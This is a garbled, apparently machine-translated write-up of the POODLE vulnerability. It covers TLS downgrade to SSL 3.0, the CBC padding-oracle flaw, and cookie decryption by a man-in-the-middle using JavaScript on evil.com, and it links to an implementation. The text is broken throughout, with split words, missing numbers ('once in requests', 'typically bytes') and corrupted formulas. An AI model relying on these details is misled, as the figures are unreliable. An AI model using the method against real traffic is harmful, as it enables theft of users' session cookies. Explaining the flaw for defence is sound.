"SSL" POODLE Vulnerability Details analysis

0x01 TLS in use for demotion

Legacy servers, many TLS clients implement a downgrade dance:in a first handshake attempt, offer the highest Protocol version supported by the client? If this handshake fails, the retry (possibly repeatedly) with earlier protocol versions. Unlike proper protocol version negotiation (if the client offers TLS 1.2, the server may respond with, say, TLS 1.0), this Downgrade can also is triggered by the network glitches, or by active attackers. So if a attacker that controls the network between the client and the server interferes with any attempted handshake offe Ring TLS 1.0 or later, such clients would readily confine themselves to SSL 3.0.

0x02 vulnerability of SSL 3.0 and poodle attack process

The most severe problem of CBC encryption in SSL 3.0 are that it block cipher padding is not deterministic, and not covere D by the MAC (Message authentication Code): Thus, the integrity of padding cannot is fully verified when decrypting. Padding by 1 to L bytes (where L was the block size in bytes) was used to obtain an integral number of blocks before perform ing blockwise CBC (Cipherblock chaining) encryption. The weakness is the easiest to exploit if there ' s an entire block of padding, which (before encryption) consists of L1 ar Bitrary bytes followed by a single byte of value L1. To process an incoming ciphertext record C1 ... Cn also given an initialization vector C0 (where each Ci is one block), the recipient first determines P1 ... Pn as Pi = DK (Ci) ⊕ci1 (where DK denotes blockcipher decryption using perconnection key K), then checks and removes The padding at the end, and finally checks and removes a MAC. Now observe so if there ' s a full block of padding and an attacker Replaces Cn by any earlier ciphertext block Ci from the same encrypted stream, the ciphertext would still be accepted if D K (Ci) ⊕cn1 happens to has L1 as its final byte, but would in all likelihood is rejected otherwise, giving rise to a P Adding Oracle Attack [TLSCBC].

In the Web setting, this SSL 3.0 weakness can is exploited by a maninthe middle attacker to decrypt "secure" HTTP cookie s, using techniques from the BEAST attack [BEAST]. To launch the POODLE attack (Padding Oracle on downgraded Legacy encryption), run a JavaScript agent on evil.com (or on HT tp://example.com) to get the victim ' s browser to send cookiebearing HTTPS requests to https://example.com, and intercept and modify the SSL records sent by the browser in such a to that there's a nonnegligible chance that example.com would AC Cept the modified record. If the modified record is accepted, the attacker can decrypt one byte of the cookie. Assume that all block C has bytes, c[0] ... C[15]. (Eightbyte blocks can be handled similarly.) Also assume, for now, that the size of the cookie is known. (later we'll show how to start the attack if it isn ' t.) The MAC size in SSL 3.0 CBC cipher suites are typically bytes, so below the CBC layer, an encrypted POST request would lo OK as fOllows:

Post/path Cookie:name=value...\r\n\r\nbody‖20byte mac‖padding

The path and body are controlled by the attacker, and assuming that the length of the cookie is known (followed by further implementation details that are not known), it is possible to send CI replacements for the CN Packet multiple times (each key is different) until the P ' n[15]= is met 15 (256 times or less), this time you can find a byte by the formula, then you can control the length for further cracking.

The attacker controls both the request path and the request body, and thus can induce requests such that the following Conditions hold:

The padding fills an entire block (encrypted to Cn).

The cookie ' first Asofyet unknown byte appears as the final byte in a earlier block (encrypted into Ci).

The attacker then replaces Cn by Ci and forwards this modified SSL record to the server. Usually, the server would reject this record, and the attacker would simply try again with a new request. Occasionally (on average, once in requests), the server would accept the modified record, and the attacker would conclud E that DK (Ci) [15]⊕CN1 [] = A, and thus that Pi [15] = 15⊕CN1 [15]⊕CI1 [15]. This reveals the cookie ' first previously unknown byte. The attacker proceeds to the next byte by changing the sizes of request path and body simultaneously such that the request Size stays the same but the position of the headers are shifted, continuing until it has decrypted as much of the cookies As desired. 1 The expected overall effort is a. SSL 3.0 requests per byte. As the padding hides the exact size of the payload, the cookie ' size is not immediately apparent, but inducing requests G ET/, get/a, GET/AA, ... allows the attacker to observe on which point the block boundary GETs crossed:after at very such requests, this would reveal the padding size, and thus the size of the cookies.

In the case of uncertain length of the cookie, the actual length can be determined by controlling the length of the client's path and the length of the Bimiven ciphertext, essentially within 16 requests.

Implementation can be consulted:https://github.com/thomaspatzke/POODLEAttack

"SSL" POODLE Vulnerability Details analysis